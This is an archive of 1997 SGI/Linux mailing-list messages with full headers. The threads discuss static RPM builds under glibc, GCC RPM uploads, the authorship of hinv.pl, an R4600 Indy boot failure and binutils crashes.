Received: from dm.cobaltmicro.com ([209.19.61.51]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id NAA06143
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 13:40:54 -0800
	env-from (davem@dm.cobaltmicro.com)
Received: (from davem@localhost)
	by dm.cobaltmicro.com (8.8.7/8.8.7) id NAA00677;
	Mon, 24 Nov 1997 13:35:29 -0800
Date: Mon, 24 Nov 1997 13:35:29 -0800
Message-Id: <199711242135.NAA00677@dm.cobaltmicro.com>
From: "David S. Miller" <davem@dm.cobaltmicro.com>
To: ewt@redhat.com
CC: linux-mips@fnet.fr, alan@lxorguk.ukuu.org.uk, linux@cthulhu.engr.sgi.com
In-reply-to: <Pine.LNX.3.95.971124105430.7590F-100000@lacrosse.redhat.com>
	(message from Erik Troan on Mon, 24 Nov 1997 10:55:25 -0500 (EST))
Subject: Re: Libc in CVS
References:  <Pine.LNX.3.95.971124105430.7590F-100000@lacrosse.redhat.com>
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 549
Lines: 15

   Date: Mon, 24 Nov 1997 10:55:25 -0500 (EST)
   From: Erik Troan <ewt@redhat.com>

   A static RPM has saved my ass *many* times, and it would
   irresponsible for us not to ship it static. Glibc ought to be able
   to generate static binaries. If it can't, it's broken.

That was a nice thing back in the pre-glibc days.  But since so many
static binaries (including RPM) pull in the NIS stuff dynamically via
dlopen() due to how GLIBC works, your ass will no longer get saved the
way it used to.

Later,
David S. Miller
davem@dm.cobaltmicro.com

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 14:03:20 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA197490 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 14:03:20 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA20141 for linux-list; Mon, 24 Nov 1997 14:01:56 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA20022 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 14:01:46 -0800
Received: from lacrosse.redhat.com (lacrosse.redhat.com [207.175.42.154]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA11947
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 14:01:43 -0800
	env-from (ewt@redhat.com)
Received: from localhost (ewt@localhost)
	by lacrosse.redhat.com (8.8.5/8.8.7) with SMTP id QAA27888;
	Mon, 24 Nov 1997 16:58:22 -0500
Date: Mon, 24 Nov 1997 16:58:22 -0500 (EST)
From: Erik Troan <ewt@redhat.com>
To: "David S. Miller" <davem@dm.cobaltmicro.com>
cc: linux-mips@fnet.fr, alan@lxorguk.ukuu.org.uk, linux@cthulhu.engr.sgi.com
Subject: Re: Libc in CVS
In-Reply-To: <199711242135.NAA00677@dm.cobaltmicro.com>
Message-ID: <Pine.LNX.3.95.971124165709.27739C-100000@lacrosse.redhat.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 926
Lines: 20

On Mon, 24 Nov 1997, David S. Miller wrote:

> That was a nice thing back in the pre-glibc days.  But since so many
> static binaries (including RPM) pull in the NIS stuff dynamically via
> dlopen() due to how GLIBC works, your ass will no longer get saved the
> way it used to.

At least you can install the packages though. At the very worst, 
getpwnam() will fail and RPM will use root.root for all of the files,
but at least they will be there. That's surely better then not being
able to install packages at all.

Erik

-------------------------------------------------------------------------------
|       "For the next two hours, VH1 will be filled with foul-mouthed,        |
|          crossdressing Australians. Viewer discretion is advised."          |
|                                                                             |
|       Erik Troan   =   ewt@redhat.com     =    ewt@sunsite.unc.edu          |


From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 15:30:16 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA232757 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 15:30:15 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA20477 for linux-list; Mon, 24 Nov 1997 15:26:20 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA20448 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 15:26:09 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA08039
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 15:26:06 -0800
	env-from (ralf@lappi.waldorf-gmbh.de)
Received: from lappi.waldorf-gmbh.de (ralf@pmport-04.uni-koblenz.de [141.26.249.4])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id AAA02120
	for <linux@cthulhu.engr.sgi.com>; Tue, 25 Nov 1997 00:26:02 +0100 (MET)
Received: (from ralf@localhost)
	by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id AAA07414;
	Tue, 25 Nov 1997 00:22:31 +0100
Message-ID: <19971125002231.49580@lappi.waldorf-gmbh.de>
Date: Tue, 25 Nov 1997 00:22:31 +0100
From: ralf@uni-koblenz.de
To: linux-mips@fnet.fr
Cc: "David S. Miller" <davem@dm.cobaltmicro.com>, alan@lxorguk.ukuu.org.uk,
        linux@cthulhu.engr.sgi.com
Subject: Re: Libc in CVS
References: <199711242135.NAA00677@dm.cobaltmicro.com> <Pine.LNX.3.95.971124165709.27739C-100000@lacrosse.redhat.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <Pine.LNX.3.95.971124165709.27739C-100000@lacrosse.redhat.com>; from Erik Troan on Mon, Nov 24, 1997 at 04:58:22PM -0500
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 874
Lines: 19

On Mon, Nov 24, 1997 at 04:58:22PM -0500, Erik Troan wrote:
> > That was a nice thing back in the pre-glibc days.  But since so many
> > static binaries (including RPM) pull in the NIS stuff dynamically via
> > dlopen() due to how GLIBC works, your ass will no longer get saved the
> > way it used to.
> 
> At least you can install the packages though. At the very worst, 
> getpwnam() will fail and RPM will use root.root for all of the files,
> but at least they will be there. That's surely better then not being
> able to install packages at all.

I just checked mount(8), it's a shared binary.  I guess only the fewest
Redhat installations it is possible to access the packages without using
nss services or mount.

Aside, if everything gets installed as root.root in absence of the nss
functionality this open a theoretical security problem for some packages.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 17:16:39 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id RAA238470 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 17:16:39 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA18229 for linux-list; Mon, 24 Nov 1997 17:14:16 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA18210 for <linux@engr.sgi.com>; Mon, 24 Nov 1997 17:14:10 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA06838
	for <linux@engr.sgi.com>; Mon, 24 Nov 1997 17:14:08 -0800
	env-from (ralf@lappi.waldorf-gmbh.de)
Received: from lappi.waldorf-gmbh.de (ralf@pmport-04.uni-koblenz.de [141.26.249.4])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id CAA14273
	for <linux@engr.sgi.com>; Tue, 25 Nov 1997 02:14:00 +0100 (MET)
Received: (from ralf@localhost)
	by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id CAA08193;
	Tue, 25 Nov 1997 02:10:40 +0100
Message-ID: <19971125021040.03395@lappi.waldorf-gmbh.de>
Date: Tue, 25 Nov 1997 02:10:40 +0100
From: ralf@uni-koblenz.de
To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com
Subject: Announce: GCC RPMs
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 867
Lines: 27

-----BEGIN PGP SIGNED MESSAGE-----

Hi all,

I've uploaded source and little endian binary rpms of GCC 2.7.2 to
ftp.linux.sgi.com.  binutils-2.8.1-1.src.rpm replaces the truncated
file that was online.  Both packages are based on the patches I
announced yesterday.

  Ralf

d71aeb4d0f36d4a40bb44714099520e3  binutils-2.8.1-1.src.rpm
087d1c5f21e4d7dbeb0acd944fc92e40  gcc-2.7.2-1.mips.rpm
c15a2d77386f785c8a4914a409105d41  gcc-2.7.2-1.src.rpm
d8846cdfc431ef940e9a1fdc97e0423a  gcc-c++-2.7.2-1.mips.rpm
d0c930def3e322040da84a1270480bb9  gcc-objc-2.7.2-1.mips.rpm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1

iQCVAwUBNHolbEckbl6vezDBAQGZZwQAq5KEp+wKjhKjO28PcqzPA5YaPJFHYHwC
vMN4e0MONsQ/xfPva+KzA/qAqJKGjvEx7ppV6XdNBF5HAxbXje5Soz550yJyb0nV
95Qz8Tr0tsuIb+W0HItwQwhrxPWZjhnVCcWQZQhP3T2XnChyFD9wOouwSYYpJhjh
2Tc9g/de/Vs=
=pQiE
-----END PGP SIGNATURE-----

From owner-linux@cthulhu.engr.sgi.com  Tue Nov 25 22:07:05 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id WAA348236 for <linux-archive@neteng.engr.sgi.com>; Tue, 25 Nov 1997 22:07:05 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id WAA13259 for linux-list; Tue, 25 Nov 1997 22:03:41 -0800
Received: from bhairavi.newdelhi.sgi.com (bhairavi.newdelhi.sgi.com [134.14.90.52]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id WAA13224 for <linux@cthulhu.engr.sgi.com>; Tue, 25 Nov 1997 22:03:15 -0800
Received: (from raju@localhost) by bhairavi.newdelhi.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) id LAA06759; Wed, 26 Nov 1997 11:25:45 +0530
Date: Wed, 26 Nov 1997 11:25:45 +0530
Message-Id: <199711260555.LAA06759@bhairavi.newdelhi.sgi.com>
From: Raj Mathur <raju@sgi.com>
To: linux@cthulhu.engr.sgi.com
Subject: Will the owner of hinv.pl for Linux please stand up?
Reply-to: raju@sgi.com
Mime-Version: 1.0 (generated by tm-edit 7.106)
Content-Type: text/plain; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 844
Lines: 21

Will the owner of the hinv work-alike for Linux please stand up? I
posted info about this script in a local group which (unknown to me)
was gatewayed to one of the c.o.l groups, and now am snowed under with 
requests for the script.

I got the script from the erstwhile linux.engr.sgi.com box.

Request the owner to (a) identify him/herself and (b) indicate if it's 
OK to post the script on one of the Linux groups. Please also indicate 
copyright terms if you're inclined that way.

Thanks,

-- Raju
--
       Raj Mathur / Web Technical Support / Silicon Graphics / New Delhi
         +91-11-6216324/25, 6211354/55   /    raju@sgi.com  / 7228
            http://reality.sgi.com/raju / It is the Mind that Moves
           PGP: F2 D4 4A 21 27 B0 63 FF | Not necessarily speaking
                15 97 9D AE 9D 40 BC B8 | for Silicon Graphics


From owner-linux@cthulhu.engr.sgi.com  Wed Nov 26 04:40:37 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id EAA380595 for <linux-archive@neteng.engr.sgi.com>; Wed, 26 Nov 1997 04:40:37 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id EAA17027 for linux-list; Wed, 26 Nov 1997 04:32:32 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id EAA17018 for <linux@cthulhu.engr.sgi.com>; Wed, 26 Nov 1997 04:32:17 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id EAA24367
	for <linux@cthulhu.engr.sgi.com>; Wed, 26 Nov 1997 04:32:13 -0800
	env-from (ralf@uni-koblenz.de)
From: ralf@uni-koblenz.de
Received: from uni-koblenz.de (ralf@pmport-04.uni-koblenz.de [141.26.249.4])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id NAA25949
	for <linux@cthulhu.engr.sgi.com>; Wed, 26 Nov 1997 13:32:05 +0100 (MET)
Received: (from ralf@localhost)
	by uni-koblenz.de (8.8.7/8.8.7) id NAA01028;
	Wed, 26 Nov 1997 13:09:18 +0100
Message-ID: <19971126130917.58432@uni-koblenz.de>
Date: Wed, 26 Nov 1997 13:09:17 +0100
To: raju@sgi.com
Cc: linux@cthulhu.engr.sgi.com
Subject: Re: Will the owner of hinv.pl for Linux please stand up?
References: <199711260555.LAA06759@bhairavi.newdelhi.sgi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <199711260555.LAA06759@bhairavi.newdelhi.sgi.com>; from Raj Mathur on Wed, Nov 26, 1997 at 11:25:45AM +0530
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 773
Lines: 18

On Wed, Nov 26, 1997 at 11:25:45AM +0530, Raj Mathur wrote:

> Will the owner of the hinv work-alike for Linux please stand up? I
> posted info about this script in a local group which (unknown to me)
> was gatewayed to one of the c.o.l groups, and now am snowed under with 
> requests for the script.
> 
> I got the script from the erstwhile linux.engr.sgi.com box.
> 
> Request the owner to (a) identify him/herself and (b) indicate if it's 
> OK to post the script on one of the Linux groups. Please also indicate 
> copyright terms if you're inclined that way.

The script has already been posted to linux-kernel, so it's obviously
ok to repost it.  The author is Larry McVoy, ex lm@engr.sgi.com, now
lm@who.net.  I don't know if he is still reading this list.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Wed Nov 26 06:27:00 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id GAA386314 for <linux-archive@neteng.engr.sgi.com>; Wed, 26 Nov 1997 06:27:00 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id GAA25227 for linux-list; Wed, 26 Nov 1997 06:17:26 -0800
Received: from oz.engr.sgi.com (oz.engr.sgi.com [150.166.61.27]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id GAA25204; Wed, 26 Nov 1997 06:17:16 -0800
Received: (from ariel@localhost) by oz.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) id GAA22591; Wed, 26 Nov 1997 06:17:15 -0800 (PST)
From: ariel@oz.engr.sgi.com (Ariel Faigon)
Message-Id: <199711261417.GAA22591@oz.engr.sgi.com>
Subject: Re: Will the owner of hinv.pl for Linux please stand up?
To: ralf@uni-koblenz.de
Date: Wed, 26 Nov 1997 06:17:15 -0800 (PST)
Cc: raju@sgi.com, linux@cthulhu.engr.sgi.com
In-Reply-To: <19971126130917.58432@uni-koblenz.de> from "ralf@uni-koblenz.de" at Nov 26, 97 01:09:17 pm
Reply-To: ariel@cthulhu.engr.sgi.com (Ariel Faigon)
Organization: Silicon Graphics Inc.
X-Mailer: ELM [version 2.4 PL24 ME5a]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 569
Lines: 16

ralf wrote:
:
:On Wed, Nov 26, 1997 at 11:25:45AM +0530, Raj Mathur wrote:
:
:> Will the owner of the hinv work-alike for Linux please stand up? I
:
:The script has already been posted to linux-kernel, so it's obviously
:ok to repost it.  The author is Larry McVoy, ex lm@engr.sgi.com, now
:lm@who.net.  I don't know if he is still reading this list.
:
Larry used to be subscribed as lm@cobaltmicro.com and was deleted
once these started boucing.   He may resubscribe himself if he so
wishes.  In fact since this is n open list, anyone can resub him.

-- 
Peace, Ariel

From owner-linux@cthulhu.engr.sgi.com  Thu Nov 27 14:59:20 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA488084 for <linux-archive@neteng.engr.sgi.com>; Thu, 27 Nov 1997 14:59:19 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA02648 for linux-list; Thu, 27 Nov 1997 14:54:25 -0800
Received: from oz.engr.sgi.com (oz.engr.sgi.com [150.166.61.27]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA02643; Thu, 27 Nov 1997 14:54:23 -0800
Received: (from ariel@localhost) by oz.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) id OAA27112; Thu, 27 Nov 1997 14:54:20 -0800 (PST)
From: ariel@oz.engr.sgi.com (Ariel Faigon)
Message-Id: <199711272254.OAA27112@oz.engr.sgi.com>
Subject: Re: Problems with booting SGI/Linux
To: kron@informatics.muni.cz (David Kostal)
Date: Thu, 27 Nov 1997 14:54:20 -0800 (PST)
Cc: linux@cthulhu.engr.sgi.com (SGI/Linux mailing list)
In-Reply-To: <199711271811.TAA11711@anxur.fi.muni.cz> from "David Kostal" at Nov 27, 97 07:11:10 pm
Reply-To: ariel@cthulhu.engr.sgi.com (Ariel Faigon)
Organization: Silicon Graphics Inc.
X-Mailer: ELM [version 2.4 PL24 ME5a]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 2630
Lines: 74

Could someone help David on this ?
Is this a R4600 PC vs SC thing ?
A known hardware bug in R4600 PC ?

David: you may want to subscribe to the SGI/Linux mailimg
list (if your aren't yet):
	To: linux-request@engr.sgi.com
	Body: subscribe linux <your@preferred.email.address>

:
:Hallo,
:I've tried to run sgi/linux on our INDY/R4600PC 100MHz, but I was
:unable to boot the kernel. I used kernel from
:test/vmlinux-970916-efs.gz . The booting process stoped after while. 
:I use this kernel, because I wasn't able to cross-compile my own
:kernel.
:I send you the messages (handly) rewriten from the console. Can you,
:please, lat me know, where was problem? If you wil need more info or
:more tests on my Indy, I will do it.
:
:thanks a lot
:
:david kostal (kron@fi.muni.cz)
:----+
:
:
:
:PROMLIB: SGI ARCS firmware Version1 Revision 10
:PROMLIB: Total free ram 31502336 bytes (...)
:ARCH: SGI-IP22
:CPU: MIPS-R4600 FPU<MIPS-R4600FPC> ICACHE DCACHE
:Loading R4000 MNV routines
:CPU revision is: 00002020
:Primary ICACHE 16K (linesize 32 bytes)
:Primary DCACHE 16K (linesize 32 bytes)
:R4600/R5000 SCACHE size 0 Kb linesize 32 bytes
:MC: SGI memory controller Revision 3
:calculating r4koff ... 0007eedc(519900)
:GFX INIT: SHMIQ setup
:usenamedone misc device registred (minor: 151)
:umesa device registred (major 86)
:video screen size is 00004c88a18833e948
:console: 16 point font, 992 scans
:console: color NEWPORT 158x62, 1 virtual console (max 63)
:Calibrating delay loop ... ok - 103.83 BogoMIPS
:Memory: 28616/163836 available (1020k kernel code, 2352k data)
:Swansea University Computer Society NET3.035 for Linux 2.0
:NET3: Unix domain sockets 0.13 for Linux NET3.035.
:Swansea University Computer Society TCP/IP for NET3.034
:IP Protocols: IGMP, ICMP, UDP, TCP
:Checking 'wait' instruction... available.
:Linux version 2.1.55 (slaue@neor.ingenia.ca) (gcc version 2.7.2) #122 9.16. 16:30:52
:Posix counfornance testing by UNIFIX
:Starting kswapd v 1.2.3
:SGI Zilog 8530 serial driver version 1.08 tty00 at 0xbbbd9838 (irq = 21) is a Zilog 8530
:SGI Zilog 8530 serial driver version 1.08 tty01 at 0xbbbd9830 (irq = 21) is a Zilog 8530
:Got a bus error IRQ, shouldn't happen yet
:$0 :0000 0000 1000 bc01 8811 0000 0000 0000
:$4 :8813 418c 8819 9630 89ff 5cf0 0000 0001
:$8 :1000 fc03 0000 0201 0000 9fe1 8811 99d8
:$12:0000 0001 0000 0001 0000 0001 ffff fffc
:$16:0000 c000 89fe 1000 0000 0000 0000 0000
:$20:987b fc20 a874 6d10 9fc5 5664 0000 0000
:$24:1000 bc01 0000 000f 0000 0000 0000 0000
:$28:0000 0000 89ff 5c90 0000 0001 8800 b0c8
:epc: 88033258
:slots: 1000fc03
:Cause: 0000 4000
:Spinning.....
:


-- 
Peace, Ariel

From owner-linux@cthulhu.engr.sgi.com  Thu Nov 27 17:46:16 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id RAA496402 for <linux-archive@neteng.engr.sgi.com>; Thu, 27 Nov 1997 17:46:15 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA14080 for linux-list; Thu, 27 Nov 1997 17:43:19 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA14075; Thu, 27 Nov 1997 17:43:12 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA10319; Thu, 27 Nov 1997 17:43:10 -0800
	env-from (ralf@uni-koblenz.de)
From: ralf@uni-koblenz.de
Received: from uni-koblenz.de (ralf@pmport-21.uni-koblenz.de [141.26.249.21])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id CAA17773;
	Fri, 28 Nov 1997 02:43:08 +0100 (MET)
Received: (from ralf@localhost)
	by uni-koblenz.de (8.8.7/8.8.7) id AAA08848;
	Fri, 28 Nov 1997 00:47:06 +0100
Message-ID: <19971128004706.49234@uni-koblenz.de>
Date: Fri, 28 Nov 1997 00:47:06 +0100
To: Ariel Faigon <ariel@cthulhu.engr.sgi.com>
Cc: David Kostal <kron@informatics.muni.cz>,
        SGI/Linux mailing list <linux@cthulhu.engr.sgi.com>
Subject: Re: Problems with booting SGI/Linux
References: <199711271811.TAA11711@anxur.fi.muni.cz> <199711272254.OAA27112@oz.engr.sgi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <199711272254.OAA27112@oz.engr.sgi.com>; from Ariel Faigon on Thu, Nov 27, 1997 at 02:54:20PM -0800
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1425
Lines: 34

On Thu, Nov 27, 1997 at 02:54:20PM -0800, Ariel Faigon wrote:

> Could someone help David on this ?
> Is this a R4600 PC vs SC thing ?
> A known hardware bug in R4600 PC ?

> :Hallo,
> :I've tried to run sgi/linux on our INDY/R4600PC 100MHz, but I was
> :unable to boot the kernel. I used kernel from
> :test/vmlinux-970916-efs.gz . The booting process stoped after while. 
> :I use this kernel, because I wasn't able to cross-compile my own
> :kernel.
> :I send you the messages (handly) rewriten from the console. Can you,
> :please, lat me know, where was problem? If you wil need more info or
> :more tests on my Indy, I will do it.

> :PROMLIB: SGI ARCS firmware Version1 Revision 10
> :PROMLIB: Total free ram 31502336 bytes (...)
> :ARCH: SGI-IP22
> :CPU: MIPS-R4600 FPU<MIPS-R4600FPC> ICACHE DCACHE
> :Loading R4000 MNV routines
> :CPU revision is: 00002020
                        ^^^^
That's a R4600 V2.0.  The kernel sources/binaries on Linus don't handle
the silicon bugs of this beast correctly.  I fixed the problem this
morning testing them on a SNI RM200.  For a proof of the test I compiled
X a couple of times; the box now looks stable even under high load.  Will
commit the bug fixes shortly.

The Indy actually seems to show the problem somewhere during or after the
initialisation of the serial driver but by my experience this CPU bug
causes all sorts of symptoms indicating everything else ...

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 28 05:40:42 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA532830 for <linux-archive@neteng.engr.sgi.com>; Fri, 28 Nov 1997 05:40:42 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA07319 for linux-list; Fri, 28 Nov 1997 05:35:56 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA07314 for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 05:35:54 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA18234
	for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 05:35:53 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id NAA14743; Fri, 28 Nov 1997 13:35:24 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xbQZf-0005FsC; Fri, 28 Nov 97 13:35 GMT
Message-Id: <m0xbQZf-0005FsC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Bintuils
To: ralf@uni-koblenz.de
Date: Fri, 28 Nov 1997 13:35:14 +0000 (GMT)
Cc: linux@cthulhu.engr.sgi.com
In-Reply-To: <19971128004706.49234@uni-koblenz.de> from "ralf@uni-koblenz.de" at Nov 28, 97 00:47:06 am
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 504
Lines: 21

Ralf:
	Has anyone attempted to build the binutils fixed RPM with the old
buggy binutils. Im trying this right now and Im getting

1.	build the srpm
	all the tools die with segv on load

2.	build the srpm static
	tools seem to work

3.	link the stuff again with the static srpm but dynamic
	dies

All the binaries crash at the same reference (000000d0 from a fixed address
so I guess its a dynamic linker error).

Im now off to rebuild it from scratch with the static new linker to see what
occurs

Alan


From owner-linux@cthulhu.engr.sgi.com  Fri Nov 28 05:58:32 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA534200 for <linux-archive@neteng.engr.sgi.com>; Fri, 28 Nov 1997 05:58:32 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA08512 for linux-list; Fri, 28 Nov 1997 05:54:29 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA08505 for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 05:54:19 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA20835
	for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 05:54:17 -0800
	env-from (ralf@mailhost.uni-koblenz.de)
Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61])
